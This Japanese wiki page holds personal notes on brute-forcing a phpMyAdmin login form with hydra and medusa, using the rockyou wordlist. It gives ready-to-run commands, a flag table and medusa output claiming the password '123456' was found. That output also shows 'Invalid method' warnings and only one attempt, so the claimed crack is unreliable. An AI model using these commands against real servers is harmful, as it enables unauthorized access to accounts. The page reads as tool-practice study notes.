ゆっくりhydra_&_Medusa - yokohama/oreshic-record GitHub Wiki
Date: 2023-05-09 13:44:48
phpMyAdminに対して、ブルートフォースをやってみる。ログインフォームに対してのブルートフォースは全部一緒。
hydra -V -f -l root -P /usr/share/wordlists/rockyou.txt xx.xx.xx.xx http-post-form '/phpmyadmin/index.php:pma_username=root&pma_password=^PASS^&server=1&target=index.php&token=90a3fc1ca6513a32e794081c256fb207:Access denied'
| -V | 進捗の冗長表示 |
| -f | 成功した時点で止める |
| -l | ユーザー名 |
| -P | 辞書ファイル |
| http-post-form | フォームに対して指定する文字列。以下を参照。 |
'/phpmyadmin/index.php:pma_username=root&pma_password=^PASS^&server=1&target=index.php&token=90a3fc1ca6513a32e794081c256fb207:Access denied'
http-post-formの引数は、以下のフォーマットで指定する。
'<ログインフォームのパス>:<ポストで送られる文字列>:<エラー時に表示されるメッセージ>'
また、<ポストで送られる文字列>は、Burpなどのプロキシをかませて、実際にフォームを送信した内容をコピペする。例えば以下のような感じ。

辞書ファイルを使ってブルート・フォースしたい箇所を、^PASS^に書き換える。今回の場合は上記のポスト時に送る文字列の、pma_password=adminの部分を、pma_password=^PASS^にする。
なぜか、成功と出るのに肝心のパスワードが表示されない。バージョンは最新版。こんなことってあるんだろうか?「-o」オプションを付けてファイルに保存しても同じ。意味がわからん、、、

medusaで同じことをやってみる。
$ medusa -h xx.xx.xx.xx -u root -P /usr/share/wordlists/rockyou.txt -M http -m DIR:/phpmyadmin -m FORM:POST -m DENY-SIGN:'Access denied' -m FORM-DATA:'post? pma_username=root&pma_password=^PASS^&server=1&target=index.php&token=90a3fc1ca6513a32e794081c256fb207'
いけた。「123456」。
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]>
WARNING: Invalid method: FORM.
WARNING: Invalid method: DENY-SIGN.
WARNING: Invalid method: FORM-DATA.
ACCOUNT CHECK: [http] Host: xx.xx.xx.xx (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (1 of 14344391 complete)
ACCOUNT FOUND: [http] Host: xx.xx.xx.xx User: root Password: 123456 [SUCCESS]
個人的には、hydraを使っていきたいが、本日はモヤモヤしたまま終わる。。。